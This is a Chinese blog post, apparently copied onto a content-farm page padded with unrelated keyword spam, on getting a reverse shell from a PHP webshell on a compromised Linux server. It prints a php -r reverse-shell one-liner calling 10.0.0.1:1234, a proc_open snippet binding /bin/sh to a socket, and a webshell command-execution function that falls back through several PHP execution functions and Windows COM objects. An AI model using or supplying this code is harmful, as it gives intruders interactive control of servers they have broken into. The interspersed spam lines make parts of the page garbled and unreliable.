2000字范文,分享全网优秀范文,学习好帮手!
2000字范文 > php webshell下直接反弹shell(不借助任何其他语言)

php webshell下直接反弹shell(不借助任何其他语言)

时间:2021-01-20 05:11:27

相关推荐

php webshell下直接反弹shell(不借助任何其他语言)

php教程|php手册

php,webshell,直接,反弹,shell,借助,任何

php教程-php手册

国外出售源码,如何回退vscode终端命令,ubuntu什么架构,超出内存tomcat参数,52破解爬虫,第一个php程序,南海商品seo优化平台,购物网站代码,贺卡模板htmllzw

linux下,有时候拿到webshell需要提权,提权必须要得到一个交互式的shell。 我看了一下常用的php webshell,对于命令执行、反弹shell都没有完善的方式。很多webshell里都没有proc_popen、popen这两种方式,特别是proc_popen,比如phpspy。 在我收集的反弹she

局域网影视源码,ubuntu怎么调出键盘,爬虫header是什么,xtends php,陈工seolzw

properties源码,vscode版的首选项,ubuntu终端代理,tomcat9无法跳出网页,sqlite 云端 设置,网页设计师级别,asp上传文件到服务器,div最大化最小化插件,前端框架总成GOR,爬虫逆向难吗,php静态方法调用非静态方法,中小企业seo优化,织梦网站后台默认登陆路径,网页导出word 插件,phpcms v9分类信息模板,红色页面网站,后台管理系统登录模板,主播程序源码lzw

linux下,有时候拿到webshell需要提权,提权必须要得到一个交互式的shell。

我看了一下常用的php webshell,对于命令执行、反弹shell都没有完善的方式。很多webshell里都没有proc_popen、popen这两种方式,特别是proc_popen,比如phpspy。

在我收集的反弹shell集合(http://tool.p1ng.pw/getshell.html)中,有一个方法,就是在命令行中输入:

php -r $sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &3 2>&3");

但是有个问题,如果在webshell里执行如上代码的话,会把系统的标准输入输出重定向到/bin/sh里,导致php-fpm直接502,然后弹的shell也会瞬间掉了,这个方式比较粗鲁。而我的思路是:我只希望把我新创建的进程(/bin/sh)的标准输入输出重定向到socket中,不去动系统的东西。

当系统没有禁用proc_popen的时候,我们是可以借助proc_popen轻松反弹这样的一个shell的。不需要任何其他语言的支持,php足矣。

$sock = fsockopen($ip, $port);$descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock);$process = proc_open(/bin/sh, $descriptorspec, $pipes);proc_close($process);

其中$ip是反弹的ip,$port是反弹的端口,这也是我个人版webshell里一个小功能:

反弹shell的时候web页面会卡死,因为php没有异步的函数,默认也不支持多线程,所以卡住这个现象很正常,不影响反弹shell。

不过我试了,在windows下似乎不能完美运行。不知道是我环境问题(杀毒软件等)还是代码问题。silic的大马中有一个windows反弹的功能,windows下可以使用:

具体代码请自行到silic webshell中查看。我没有试过,不知道成功率怎么样。

另附我的webshell中执行命令的函数,各位看官自行修改后可以使用。有可以补充的,欢迎告诉我呀~

function exec_comm($cmd, &$type = \, &$suc = TRUE){ set_error_handler("customError"); $re = false; if (empty($cmd)) return 执行结果; if (empty($type)){ if(function_exists(exec)){ @exec($cmd, $re); $re = join("\n", $re); $type = exec; }else if(function_exists(shell_exec) && ($re = shell_exec($cmd))){ $type = shell_exec; }else if(function_exists(system)){ @ob_start();system($cmd);$re=@get_ob_contents();@ob_end_clean(); $type = system; }else if(function_exists(passthru)){ @ob_start();passthru($cmd);$re=@get_ob_contents();@ob_end_clean(); $type = passthru; }else if(is_resource($f = popen($cmd,"r"))){ while(!@feof($f)){$re .= @fread($f,1024);}@pclose($f); $type = popen; }else if(function_exists(proc_open)){ $descriptorspec = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w") ); $process = proc_open($cmd, $descriptorspec, $pipes); if (is_resource($process)) {fwrite($pipes[0], "{$cmd}\r\n");fwrite($pipes[0], "exit\r\n");fclose($pipes[0]);// 读取输出while (!feof($pipes[1])) { $re .= fgets($pipes[1], 1024);}fclose($pipes[1]);while (!feof($pipes[2])) { $re .= fgets($pipes[2], 1024); }fclose($pipes[2]);proc_close($process); } } }else if($type == wscript){ $s= new COM(wscript.shell); $exec = $s->exec($cmd); $stdout = $exec->StdOut(); $re = $stdout->ReadAll(); }else if($type == application){ $exe = gpc(exe, post, c:/windows/system32/cmd.exe); $shell= new COM(Shell.Application); $shell->ShellExecute($exe,$cmd); $re = "请查看{$cmd}中输入文件内容\n"; } if ($re === false){ $re = 命令执行可能失败,可能是执行函数被禁用或执行无回显; $suc = FALSE;} return $re;}

原文地址:php webshell下直接反弹shell(不借助任何其他语言), 感谢原作者分享。

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。